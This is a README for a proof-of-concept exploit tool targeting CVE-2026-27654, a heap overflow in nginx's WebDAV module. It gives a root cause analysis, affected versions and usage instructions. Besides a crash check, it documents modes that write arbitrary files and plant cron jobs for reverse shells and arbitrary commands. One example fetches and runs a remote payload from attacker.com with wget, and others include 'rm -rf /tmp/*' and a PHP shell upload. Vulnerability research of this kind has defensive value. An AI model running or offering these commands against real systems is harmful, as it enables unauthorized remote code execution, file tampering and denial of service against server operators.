
Proof-of-Concept and technical analysis for CVE-2026-27654, a heap-based buffer overflow vulnerability in the NGINX HTTP WebDAV module, including root cause analysis, reproduction, and mitigation.
This repository provides a proof‑of‑concept exploit for CVE‑2026‑27654, a heap‑overflow vulnerability in the ngx_http_dav_module of nginx. The bug arises from a size‑t underflow when handling MOVE/COPY requests with specially crafted Destination headers and alias‑based locations.
⚠️ Disclaimer: This tool is intended for authorized security research and testing only. Use it only against systems you own or have explicit permission to test. The authors assume no liability for misuse.
CVE-2026-27654 is a remotely triggerable heap-based buffer overflow in the NGINX HTTP WebDAV module, caused by an integer underflow in ngx_http_dav_copy_move_handler() (src/http/modules/ngx_http_dav_module.c). The vulnerability occurs when the destination URI length is derived by subtracting the configured location prefix from the Destination header path. Because both operands are of type size_t, a shorter destination path causes the subtraction to wrap to a near-maximum unsigned value.
The wrapped length is subsequently used as the size argument to memcpy(), resulting in an out-of-bounds heap write that corrupts memory and immediately crashes the NGINX worker process. A remote, unauthenticated attacker can reliably trigger this condition using a single crafted MOVE or COPY request targeting an alias-mapped WebDAV location. While the NGINX master process automatically respawns failed workers, repeated requests can maintain the service in a continuous worker-crash loop, resulting in a persistent Denial-of-Service (DoS).
AddressSanitizer (ASan) validates the vulnerability with a negative-size-param error in memcpy(), tracing the execution path from ngx_http_dav_copy_move_handler() to ngx_http_core_module.c. The vulnerability affects NGINX 0.5.13–1.28.2 (stable) and 1.29.0–1.29.6 (mainline) when compiled with --with-http_dav_module and configured with the alias directive. The issue was remediated in NGINX 1.28.3 and 1.29.7 (commit ab4b5b8, PR #1210) through proper validation of the computed destination path length before memory operations.
MOVE/COPY request that triggers the size‑t underflow and crashes the vulnerable worker.alias)./etc/cron.d/, with interactive prompts for LHOST/LPORT and a listener‑start reminder.--cron-command flag.--check) – non‑interactive mode that runs the crash test and prints a clear [VULNERABLE] / [NOT VULNERABLE] verdict, exiting with code 0 or 1.--proxy) – route all requests through an HTTP/HTTPS proxy (e.g., Burp Suite, mitmproxy) for debugging or traffic inspection.git clone https://github.com/Debajyoti0-0/CVE-2026-27654-PoC.git
cd CVE-2026-27654-PoC
pip install -r requirements.txt
python exploit.py --target 192.168.1.100:8080
You will be presented with a numbered menu and prompted to select a mode.
python exploit.py --target 192.168.1.100:8080 --check
This forces the crash mode, runs the exploit, and prints [VULNERABLE] or [NOT VULNERABLE] before exiting with code 0 or 1.
python exploit.py --target 192.168.1.100:8080 --proxy http://127.0.0.1:8080
All HTTP requests will be sent through the specified proxy (useful for debugging with Burp).
Note: Most flags are optional. The script will prompt for missing required arguments (e.g.,
--lhost/--lportforcron-shell) if they are not provided.
crashSends the crafted MOVE (or COPY) request that triggers the size‑t underflow. The server will crash the worker process. If the master process is correctly configured, it will respawn a new worker.
Example:
python exploit.py --target 10.0.0.5:80
# Select mode 1 (crash)
write-fileUploads a file to an arbitrary location on the filesystem. This works only if the DAV location is backed by an alias that points to a writable directory and the Destination path is crafted to escape the DAV root. Use only in authorised lab environments.
Example:
python exploit.py --target 10.0.0.5:80 --payload-text "evil" --destination-path /tmp/evil.txt
# Select mode 2 (write-file)
cron-shellPlaces a reverse‑shell cron job into /etc/cron.d/.
When you select this mode, the script will prompt you for:
It will then display the netcat listener command and wait for you to press Enter once your listener is running.
Example (pre‑filled):
python exploit.py --target 10.0.0.5:80 --lhost 192.168.1.50 --lport 4444
# Select mode 3 (cron-shell)
cron-cmdPlaces a custom command (provided interactively or via --cron-command) into /etc/cron.d/. This is useful for executing arbitrary system commands.
Example (interactive):
python exploit.py --target 10.0.0.5:80
# Select mode 4, then enter command when prompted
Example (pre‑filled):
python exploit.py --target 10.0.0.5:80 --cron-command "id > /tmp/owned"
# Select mode 4 (cron-cmd)
$ python exploit.py --target 192.168.1.100:8080
Available modes:
1. crash - Trigger the heap overflow crash
2. write-file - Write arbitrary content to an arbitrary location (authorized lab)
3. cron-shell - Deploy a reverse shell via /etc/cron.d
4. cron-cmd - Deploy a custom cron job
Select mode (number or name): 3
Enter reverse shell callback host (--lhost): 192.168.1.50
Enter reverse shell callback port (--lport): 4444
[*] Please start your netcat listener in a new terminal:
nc -lvnp 4444
[*] Press Enter once your listener is running...
[press Enter]
... (script performs the exploitation) ...
[+] Destination request accepted (201).
[*] Waiting 65s for cron execution...
[+] Reverse shell should connect shortly.
This example demonstrates using cron-cmd to execute a command on the target system without needing a listener.
$ python exploit.py --target 192.168.1.100:8080
Available modes:
1. crash - Trigger the heap overflow crash
2. write-file - Write arbitrary content to an arbitrary location (authorized lab)
3. cron-shell - Deploy a reverse shell via /etc/cron.d
4. cron-cmd - Deploy a custom cron job
Select mode (number or name): 4
Enter the command to run in cron (--cron-command): id > /tmp/owned
... (script performs the exploitation) ...
[+] Destination request accepted (201).
[*] Waiting 65s for cron execution...
[+] Command should have executed. Check /tmp/owned on the target.
python exploit.py --target 192.168.1.100:8080 --cron-command "wget http://attacker.com/payload -O /tmp/payload && chmod +x /tmp/payload && /tmp/payload"
# Select mode 4 (cron-cmd)
The script will automatically use the provided --cron-command and skip the interactive prompt, making it suitable for automation.
To test this PoC in a controlled environment, you can build nginx from source with --with-http_dav_module and configure a location with alias and dav_methods. A sample Docker configuration is included (coming soon).
This project is licensed under the GNU v3.0 License – see the LICENSE file for details.
Issues and pull requests are welcome. Please ensure your contributions adhere to the same ethical usage guidelines.
Remember: Always obtain proper authorisation before testing any security tool. Stay ethical!
--payload-file (binary), --payload-text (literal text), or use the default test content.--destination-path, --alias-len, --escape-depth, --method, --location-prefix, and more.requests library is not installed, the script falls back to Python’s standard http.client (proxy support is disabled in fallback mode).| Flag | Description | Example |
|---|
--target HOST:PORT | Target nginx instance (default: 127.0.0.1:8080). | --target 10.0.0.5:80 |
--verbose, -v | Show full HTTP responses (headers and body). | -v |
--no-put | Skip the initial PUT (assume trigger file already exists). Useful for repeated testing. | --no-put |
--location-prefix | DAV location prefix (default: /uploads/). Must match the alias location in nginx config. | --location-prefix /dav/ |
--remote-name | Remote source filename placed inside the DAV location (default: triggerfile.txt). | --remote-name test.txt |
--method {MOVE,COPY} | DAV method to use for the destination request (default: MOVE). | --method COPY |
--destination-path | Destination URI path – used for crash arithmetic or final file path for delivery modes. | --destination-path /etc/cron.d/backdoor |
--alias-len | Configured alias string length (used for crash arithmetic display, default 13). | --alias-len 20 |
--escape-depth | Number of ../ path components to escape the DAV root (default 1). | --escape-depth 3 |
--payload-file | Local file to upload as payload. Overrides default test content. | --payload-file ./shell.php |
--payload-text | Literal text payload for write-file mode. | --payload-text "<?php phpinfo(); ?>" |
--lhost | Reverse shell callback host (for cron-shell). If omitted, the script prompts interactively. | --lhost 192.168.1.50 |
--lport | Reverse shell callback port (for cron-shell). | --lport 4444 |
--cron-command | Command to run via cron (for cron-cmd). If omitted, the script prompts interactively. | --cron-command "rm -rf /tmp/*" |
--wait | Seconds to wait after cron delivery for the job to execute (default 65). | --wait 120 |
--check | Run vulnerability check (crash test, non‑interactive). Outputs VULNERABLE/NOT VULNERABLE and exits with code 0/1. | --check |
--proxy PROXY_URL | HTTP/HTTPS proxy URL (e.g., http://127.0.0.1:8080). Requires requests library. | --proxy http://127.0.0.1:8080 |